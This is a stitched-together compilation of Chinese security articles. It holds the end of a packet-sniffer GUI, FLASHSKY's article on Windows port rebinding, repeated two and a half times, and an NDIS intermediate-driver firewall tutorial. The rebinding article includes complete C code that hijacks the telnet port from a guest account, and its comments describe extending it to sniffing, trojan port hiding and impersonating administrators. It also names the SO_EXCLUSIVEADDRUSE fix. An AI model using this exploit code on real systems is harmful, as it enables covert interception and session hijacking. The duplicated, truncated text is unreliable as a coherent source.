SendMessage(g_hForm,WM_COPYDATA,(WPARAM)NULL,(LPARAM)&cds);
}

主窗体代码:
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include
        "main_Form.h"
//---------------------------------------------------------------------------
#pragma
        package(smart_init)
#pragma link "HexEdit"
#pragma resource
        "*.dfm"
TForm1 *Form1;
HINSTANCE hdll;
BOOL __stdcall
        (*InstallHook)();
BOOL __stdcall
        (*UninstallHook)();
//---------------------------------------------------------------------------
__fastcall
        TForm1::TForm1(TComponent*
        Owner)
:
        TForm(Owner)
{
Application->OnHint=DisplayHint;
}
//---------------------------------------------------------------------------
void
        __fastcall TForm1::Button1Click(TObject
        *Sender)
{
g_dindex=0;

hdll =
        LoadLibrary("dll.dll");
if(hdll ==
        NULL)
MessageBox(NULL,
        "LoadLibrary", "Error", MB_OK|MB_ICONERROR);
InstallHook = GetProcAddress(hdll, "InstallHook");
if(!InstallHook)
{
MessageBox(NULL,
        "InstallHook", "Error", MB_OK|MB_ICONERROR);
}
UninstallHook = GetProcAddress(hdll,
        "UninstallHook");
if(!UninstallHook)
{
MessageBox(NULL,
        "UninstallHook", "Error", MB_OK|MB_ICONERROR);
}
InstallHook();
        startBtn->Enabled=false;
stopBtn->Enabled=true;
}
//---------------------------------------------------------------------------
void
        __fastcall TForm1::Button2Click(TObject
        *Sender)
{
g_dindex=0;
UninstallHook();
FreeLibrary(hdll);
startBtn->Enabled=true;
stopBtn->Enabled=false;
}
//---------------------------------------------------------------------------
void
        __fastcall TForm1::OnCopyData(TMessage
        &Msg)
{
COPYDATASTRUCT
        *cds=(COPYDATASTRUCT*)Msg.LParam;
AnsiString
        tmpbuf = (char *)cds->lpData;
TListItem
        *li=lv->Items->Add();
li->Caption=g_dindex;
if(tmpbuf.SubString(1,
        tmpbuf.Pos("|")-1).Pos("send")>0)
{
li->ImageIndex=1;
}
else
{
li->ImageIndex=0;
}

li->SubItems->Add(tmpbuf.SubString(1,
        tmpbuf.Pos("|")-1));
tmpbuf=tmpbuf.SubString(tmpbuf.Pos("|")+1,
        tmpbuf.Length());
li->SubItems->Add(tmpbuf.SubString(1,
        tmpbuf.Pos("|")-1));
tmpbuf=tmpbuf.SubString(tmpbuf.Pos("|")+1,
        tmpbuf.Length());
li->SubItems->Add(tmpbuf.SubString(1,
        tmpbuf.Pos("|")-1));
li->SubItems->Add(tmpbuf.SubString(tmpbuf.Pos("|")+1,
        tmpbuf.Length()));
}
void __fastcall TForm1::lvInsert(TObject
        *Sender, TListItem *Item)
{
g_dindex++;
lv->Perform(LVM_SCROLL,0,10);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::lvClick(TObject
        *Sender)
{
if(lv->ItemIndex <
        0)
return;
HexEdit1->LoadFromBuffer(lv->Items->Item[lv->ItemIndex]->SubItems->Strings[3].c_str(),
lv->Items->Item[lv->ItemIndex]->SubItems->Strings[3].Length());
}
//---------------------------------------------------------------------------
void __fastcall
        TForm1::SpeedButton3Click(TObject *Sender)
{
lv->Clear();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormClose(TObject
        *Sender, TCloseAction &Action)
{
if(stopBtn->Enabled)
Button2Click(Sender);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::lvAdvancedCustomDrawItem(TCustomListView *Sender,
TListItem *Item, TCustomDrawState State, TCustomDrawStage Stage,
bool &DefaultDraw)
{
if(Item->ImageIndex==0)
{
lv->Canvas->Brush->Color = 0x00FFF5EC;
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::lvKeyUp(TObject
        *Sender, WORD &Key,
TShiftState
        Shift)
{
if(lv->ItemIndex <
        0)
return;
HexEdit1->LoadFromBuffer(lv->Items->Item[lv->ItemIndex]->SubItems->Strings[3].c_str(),
lv->Items->Item[lv->ItemIndex]->SubItems->Strings[3].Length());
}
//---------------------------------------------------------------------------
void
        __fastcall TForm1::DisplayHint(TObject
        *Sender)
{
StatusBar1->SimpleText=GetLongHint(Application->Hint);
}


端口截听实现端口隐藏，嗅叹与攻击

原创：flashsky（闪空）
作者：FLASHSKY
EMAIL：flashsky@xfocus.org
站点：www.xfocus.net www.shopsky.com
转载请注明原作者安全焦点
在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
这意味着什么？意味着可以进行如下的攻击：
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）
3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。
其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。
下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WORD
        wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL
        val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET
        s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD
        tid;
wVersionRequested = MAKEWORD( 2, 2 );
err =
        WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
        {
printf("error!WSAStartup failed!\n");
return
        -1;
}
saddr.sin_family = AF_INET;
//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了
saddr.sin_addr.s_addr
        = inet_addr("192.168.0.60");
saddr.sin_port =
        htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket
        failed!\n");
return -1;
}
val =
        TRUE;
//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char
        *)&val,sizeof(val))!=0)
{
printf("error!setsockopt
        failed!\n");
return
        -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击
if(bind(s,(SOCKADDR
        *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind
        failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
sc =
        accept(s,(struct sockaddr
        *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt =
        CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread
        Creat
        Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return
        0;
}
DWORD WINAPI ClientThread(LPVOID
        lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned
        char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD
        val;
DWORD
        ret;
//如果是隐藏端口应用的话，可以在此处加一些判断
//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发
saddr.sin_family =
        AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port =
        htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket
        failed!\n");
return -1;
}
val =
        100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char
        *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return
        -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char
        *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return
        -1;
}
if(connect(sc,(SOCKADDR
        *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect
        failed!\n");
closesocket(sc);
closesocket(ss);
return
        -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
//如果是嗅探内容的话，可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
num
        = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else
        if(num==0)
break;
num =
        recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else
        if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return
        0 ;
}
端口截听实现端口隐藏，嗅叹与攻击
原创：flashsky（闪空）
作者：FLASHSKY
EMAIL：flashsky@xfocus.org
站点：www.xfocus.net www.shopsky.com
转载请注明原作者安全焦点
在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
这意味着什么？意味着可以进行如下的攻击：
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）
3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。
其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。
下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WORD
        wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL
        val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET
        s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD
        tid;
wVersionRequested = MAKEWORD( 2, 2 );
err =
        WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
        {
printf("error!WSAStartup failed!\n");
return
        -1;
}
saddr.sin_family = AF_INET;
//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了
saddr.sin_addr.s_addr
        = inet_addr("192.168.0.60");
saddr.sin_port =
        htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket
        failed!\n");
return -1;
}
val =
        TRUE;
//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char
        *)&val,sizeof(val))!=0)
{
printf("error!setsockopt
        failed!\n");
return
        -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击
if(bind(s,(SOCKADDR
        *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind
        failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
sc =
        accept(s,(struct sockaddr
        *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt =
        CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread
        Creat
        Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return
        0;
}
DWORD WINAPI ClientThread(LPVOID
        lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned
        char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD
        val;
DWORD
        ret;
//如果是隐藏端口应用的话，可以在此处加一些判断
//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发
saddr.sin_family =
        AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port =
        htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket
        failed!\n");
return -1;
}
val =
        100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char
        *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return
        -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char
        *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return
        -1;
}
if(connect(sc,(SOCKADDR
        *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect
        failed!\n");
closesocket(sc);
closesocket(ss);
return
        -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
//如果是嗅探内容的话，可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
num
        = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else
        if(num==0)
break;
num =
        recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else
        if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return
        0 ;
}


基于IMD的包过滤防火墙原理与实现
xiaobai
xiaobai@openfind.com.cn
711网络安全小组 http://www.cpyy.net

一、前言
二、IMD中间层技术介绍
三、passthru例程分析
四、部分演示代码
五、驱动编译与安装
六. 总结
一、前言
前段时间，在安全焦点上看到了TOo2y朋友写的《基于SPI的数据报过滤原理与实现》，很是不错。文章中提到的基于SPI的数据报拦截技术是在用户级的。用户级的拦截有其优势，实现方便、便于移植、通用性强，但是，用户级并不能得到所有的数据报。本文提到的基于IMD的数据报过滤则是属于内核级的，它建立在网络驱动上面。
其实两个月前就想写这篇文章了，可惜这个技术是我一年前做的，好久不用，已经忘的差不多了，所以一直没有写。不过，近来正巧有个课题，牵扯到了中间层驱动。于是，重新拾起丢了有一年的DDK，啃了起来。这期间，真的要非常感谢linxder的帮忙，让我少走了一些弯路，否则，我真的要从头学起了。废话不多说了，切入正题。
二、中间层驱动技术介绍
中间层驱动，英文为NDIS intermediate driver。
1）内核级网络驱动介绍
Microsoft Windows 2000支持三种基本的内核级网络驱动，这三层driver顺序从下到上依次为：
1. Miniport NIC drivers：微端口网卡驱动，位于最底层，直接操纵网卡并且对高层驱动提供接口。
2. Intermediate drivers：IMD中间层驱动，这就是今天的主角，位于1和3之间，具体的作用下面就会介绍。
3. Protocol drivers：高层协议驱动，俗称为TDI（传输驱动程序接口），高于前面两层，直接面向用户级，
为用户提供网络服务，也就是绝大多数程序所用到的网络接口。

2）IMD驱动
IMD中间层，它的实质很简单，最经典的描述莫过于下面的话：
An intermediate driver is typically layered over one or more NDIS NIC drivers and under a transport driver (possibly multilayered) that supports TDI at its upper edge.
An NDIS intermediate driver exports MiniportXxx functions at its upper edge and ProtocolXxx functions at its lower edge.（见DDK文档）
中间层插入网卡和协议层之间，对上面的协议层表现为一个虚拟的微端口网卡结构，而对下面的网卡则表现为一个协议层的结构。所以，无论是网卡接收并上传的数据报，还是上层要下送至网卡发送的数据报，无一例外地要经过中间层。

3）IMD包过滤技术
前面我们已经看到，所有的数据报都要经过中间层，所以，我们可以在中间层加入我们想要过滤的数据报的特征，实现基于中间层驱动的内核级包过滤。
这样做的优势非常明显，首先，在驱动级别上做过滤，无须组包，速度快，效率自然就高；其次，所有的数据报无一例外，只要网卡上传的数据报均可以截获，避免了用户级无法得到所有数据报的缺点。当然，世界上没有完美的事情。IMD包过滤技术也存在其不可避免的缺点，与操作系统版本关系密切，与硬件联系大，可移植性低。我在调试这个驱动的时候，就碰到了无数次蓝屏，无数次重启动，进了几次安全模式，甚至还为此重新安装了一次系统。
正是由于上面的一些问题，现在市面上还没有见到有厂家推出基于IMD的实用型防火墙，大部分都是在实验室中的作品，或许真的是要做到通用性很难吧，不过还是希望能尽快见到这样的产品面世。
三、passthru代码分析
到这里，你或许已经非常想看看到底怎么来实现基于IMD的包过滤防火墙了，不过，你肯定会迟疑，如果让我们自己写整个中间层驱动的话，是不是有些太艰难了啊？况且，我只是个搞网络安全的，我不是专门写驱动的，让我完成一个驱动程序，还要对上层协议伪装成一个网卡，对下层伪装成一个协议层，这不是要命么？
呵呵，其实微软很不错的，在提出这项技术之后，其DDK中附带了一个中间层驱动的例程，就是passthru。passthru实现了一个中间层的基本功能，对下表现为一个协议层的驱动，对上表现为一个虚拟网卡，安装passthru驱动之后，你可以在硬件管理中的网卡中看到一个虚拟网卡。不过，passthru只是插入到网卡和上层协议中间，却未做任何工作，也就是说，passthru只是让所有的数据报原原本本地流经自己而已。我们要想实现中间层包过滤的功能，需要对passthru进行修改。
想想我们要实现的包过滤的功能，我们只需要在中间层接收到数据报的时候进行规则判断就可以了，而在passthru中，接收数据报是用protocol.c文件中的PtReceive和PtReceivePacket这两个函数来实现的。根据微软的解释，微软建议接收包用PtReceivePacket函数，因为可以得到更高的效率，然而，为了向下兼容，也保留了PtReceive函数给老的网卡使用。所以，在一块网卡上，只可能有一个函数在工作，这要取决于你的网卡型号了。巧的是，我的两台机器的网卡应用的函数正巧不一样。同样是IBM的机器，一台P4 1.5G的机器的网卡是Realtek RTL8139(A) PCI Fast Ethernet Adapter，另外一台P4 2.0G的机器的网卡是Intel(R) PRO/100 VE Network Connection，其中Realtek网卡用的是PtReceive来接包，而Intel的网卡是用PtReceivePacket来接包。
现在我们知道了哪个函数负责接收数据报，那么我们就可以对这个函数进行修改了。从兼容和通用性考虑，我们需要对PtReceive和PtReceivePacket函数进行修改，其中加上我们需要判断的规则进行过滤，下面就贴详细的代码了。
四、部分演示代码
我们的目的是在调用接受数据报函数的时候能执行我们的过滤代码，所以，我们要在函数代码中添加我们自己的代码，下面用过滤特定协议类型的数据报来做演示。
首先修改PtReceive，看一下protocol.c文件中函数的代码，代码中用NdisGetReceivedPacket函数得到一个PNDIS_PACKET的结构Packet，数据报内容就存放在这个结构中的链表内。我们定义一个PUCHAR结构的pPacketContent，然后用下面的代码获得整个数据报的内容：
//---------------------------------------------------------
int
        PacketSize;
PUCHAR pPacketContent;
PUCHAR pBuf;
UINT
        BufLength;
MDL * pNext;
UINT i;
//把数据包内容从Packet拷贝到pPacketContent
NdisQueryPacket( Packet,NULL,NULL,NULL,&PacketSize);
Status= NdisAllocateMemory( &pPacketContent, 2000, 0,HighestAcceptableMax);
if (Status!=NDIS_STATUS_SUCCESS ) return Status;
NdisZeroMemory (pPacketContent, 2000);
NdisQueryBufferSafe(Packet->Private.Head, &pBuf, &BufLength, 32 );
NdisMoveMemory(pPacketContent, pBuf, BufLength);
i = BufLength;
pNext = Packet->Private.Head;
for(;;)
{
if(pNext ==
        Packet->Private.Tail)
break;
pNext = pNext->Next;
        //指针后移
if(pNext == NULL)
break;
NdisQueryBufferSafe(pNext,&pBuf,&BufLength,32);
NdisMoveMemory(pPacketContent+i,pBuf,BufLength);
i+=BufLength;
}
//数据拷贝完毕
//---------------------------------------------------------

现在，我们已经在PtReceive函数中得到了数据报的内容，存放在pPacketContent中，数据报的格式你可以去查书。通常，在以太网中，得到的数据报大致是如下结构，以太帧头14个字节，放在pPacketContent[0]到pPacketContent[13]中，其中前六个字节是目的MAC地址，然后六个字节源MAC地址，然后两个字节是协议类型，通常的协议类型有0x08 0x00 ->IP，0x08 0x06 ->ARP，0x08 0x35 ->RARP，所以，可以通过pPacketContent[12]和pPacketContent[13]来判断协议类型。如果是IP包，然后pPacketContent中存放的是IP头，根据IP头的格式，可以得到第23个字节pPacketContent[23]表示传输层协议：1 ->ICMP，2 ->IGMP，6 ->TCP，17 ->UDP，剩下的就是数据报内容了。因为我们只是做演示，所以只要知道这几个标志性的就好了，其他的你可以根据你的需要扩展。我们通过pPacketContent中的内容可以做些规则，比如过滤ICMP包，我们只要比较pPacketContent[12]和pPacketContent[13]还有pPacketContent[23]这三个标志位就可以了，如果不是ICMP包，那么不做任何工作，如果匹配了，那就返回一个NDIS_STATUS_NOT_ACCEPTED，将包丢弃，释放pPacketContent，就可以过滤ICMP包了，下面就是过滤规则的代码。
//---------------------------------------------------------
//规则标志位（1表示过滤，0表示放行，你可以通过改这个数值来配置规则）
UINT
        ICMP = 1; //ICMP数据报规则
UINT IGMP = 0; //IGMP数据报规则
UINT TCP = 0;
        //TCP数据报规则
UINT UDP = 0; //UDP数据报规则
//规则判断
if (ICMP == 1)
{
if(((char
        *)pPacketContent)[12] == 8 &&
((char *)pPacketContent)[13]
        == 0 &&
((char *)pPacketContent)[23] ==
        1)
{
DbgPrint("ICMP被拦截!\n");
NdisFreeMemory(pPacketContent,
        2000, 0);
return NDIS_STATUS_NOT_ACCEPTED;
}
}
if (IGMP == 1)
{
if(((char
        *)pPacketContent)[12] == 8 &&
((char *)pPacketContent)[13]
        == 0 &&
((char *)pPacketContent)[23] ==
        2)
{
DbgPrint("IGMP被拦截!\n");
NdisFreeMemory(pPacketContent,
        2000, 0);
return NDIS_STATUS_NOT_ACCEPTED;
}
}
if (TCP == 1)
{
if(((char
        *)pPacketContent)[12] == 8 &&
((char *)pPacketContent)[13]
        == 0 &&
((char *)pPacketContent)[23] ==
        6)
{
DbgPrint("TCP被拦截!\n");
NdisFreeMemory(pPacketContent,
        2000, 0);
return NDIS_STATUS_NOT_ACCEPTED;
}
}
if (UDP == 1)
{
if(((char
        *)pPacketContent)[12] == 8 &&
((char *)pPacketContent)[13]
        == 0 &&
((char *)pPacketContent)[23] ==
        17)
{
DbgPrint("UDP被拦截!\n");
NdisFreeMemory(pPacketContent,
        2000, 0);
return NDIS_STATUS_NOT_ACCEPTED;
}
}
//规则判断结束
//---------------------------------------------------------

到这里，PtReceive函数已经修改完了，只要调用PtReceive函数接收数据报的时候，就可以执行我们的规则了，下面修改PtReceivePacket函数，其实上面的修改代码内容都是一样的，只不过PtReceivePacket函数跟PtReceive函数不太一样，PtReceivePacket直接在入口参数中就得到了PNDIS_PACKET的结构Packet，存放了数据报的所有内容，所以，直接将上面的代码粘到函数PtReceivePacket的代码中就可以了。到现在，无论是网卡调用哪一个接收函数，都可以执行我们需要的规则。
其实，上面所定义的规则是很简单的，因为只作为演示用，而我的课题嘛，嘿嘿，就不是那么简单了。其实在pPacketContent已经得到了所有的数据报内容，我们可以随意扩展规则。比如，过滤指定IP、指定端口的数据报，至于具体应该设置哪个位置，你只要去找一本介绍数据报结构的书看一下就知道了，呵呵。
五、驱动编译与安装
前面谈了那么多，其实都是在说IMD包过滤的实现和驱动代码，但是，我已经修改了代码，怎么编译和安装呢？
这一部分就解决驱动编译和安装的问题。我们用passthru的代码，对接收数据报的部分做了修改。然后，我们用DDK自带的builder工具来编译。我一般是用开始菜单中DDK程序组中的Free Build Environment，到passthru目录下执行build -cz来编译passthru，得到passthru.sys文件，然后再到NTDDK\src\network\config\filter目录下，执行build -cz来得到sfilter.dll，然后再加上passthru目录下的netsf.inf和netsf_m.inf，一共四个文件。这样，驱动安装所需要的文件就全了。
打开网络属性，添加服务，找到passthru目录下，安装，弹出没有数字签名的警告，不理，继续安装，最后，你会发现，网络属性中增加了一个名为Sample Filter的组件，同时，硬件管理器中的网卡下增加了一个Sample Filter Miniport的设备。如果你已经到了这里，并且系统没有出现蓝屏和死机，那么恭喜你，你已经成功地安装上了中间层驱动，并且已经发挥包过滤作用了。
六. 总结
难得我写了那么多，现在做一个总结吧。上文中的代码，我只是用来做演示的，只用来说明基于IMD的包过滤防火墙原理与实现，其实需要做的工作还有很多，驱动上面碰到的问题会很多，并且常常伴随着的是蓝屏，死机，甚至要重装系统。
你也许会问，那我每次改一下规则难道还要重新再安装一遍驱动么，况且，必须重启动一次，旧的驱动才彻底卸载掉，多麻烦啊。呵呵，其实是中间层驱动是可以跟应用层的程序结合的。首先你要在驱动中指定好规则，应用层的程序通过DeviceIoControl传递指令到驱动中，可以控制驱动的规则标志位。
特别推荐驱动开发网(www.driverdevelop.com)论坛的ndis网络接口开发版，这里是国内水平最高的地方，所有的与驱动有关的问题你都可以在那里得到解决。


作者：FLASHSKY
EMAIL：flashsky@xfocus.org
站点：www.xfocus.net www.shopsky.com
转载请注明原作者安全焦点
在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
这意味着什么？意味着可以进行如下的攻击：
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）
3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。
其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。
下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WORD
        wVersionRequested;
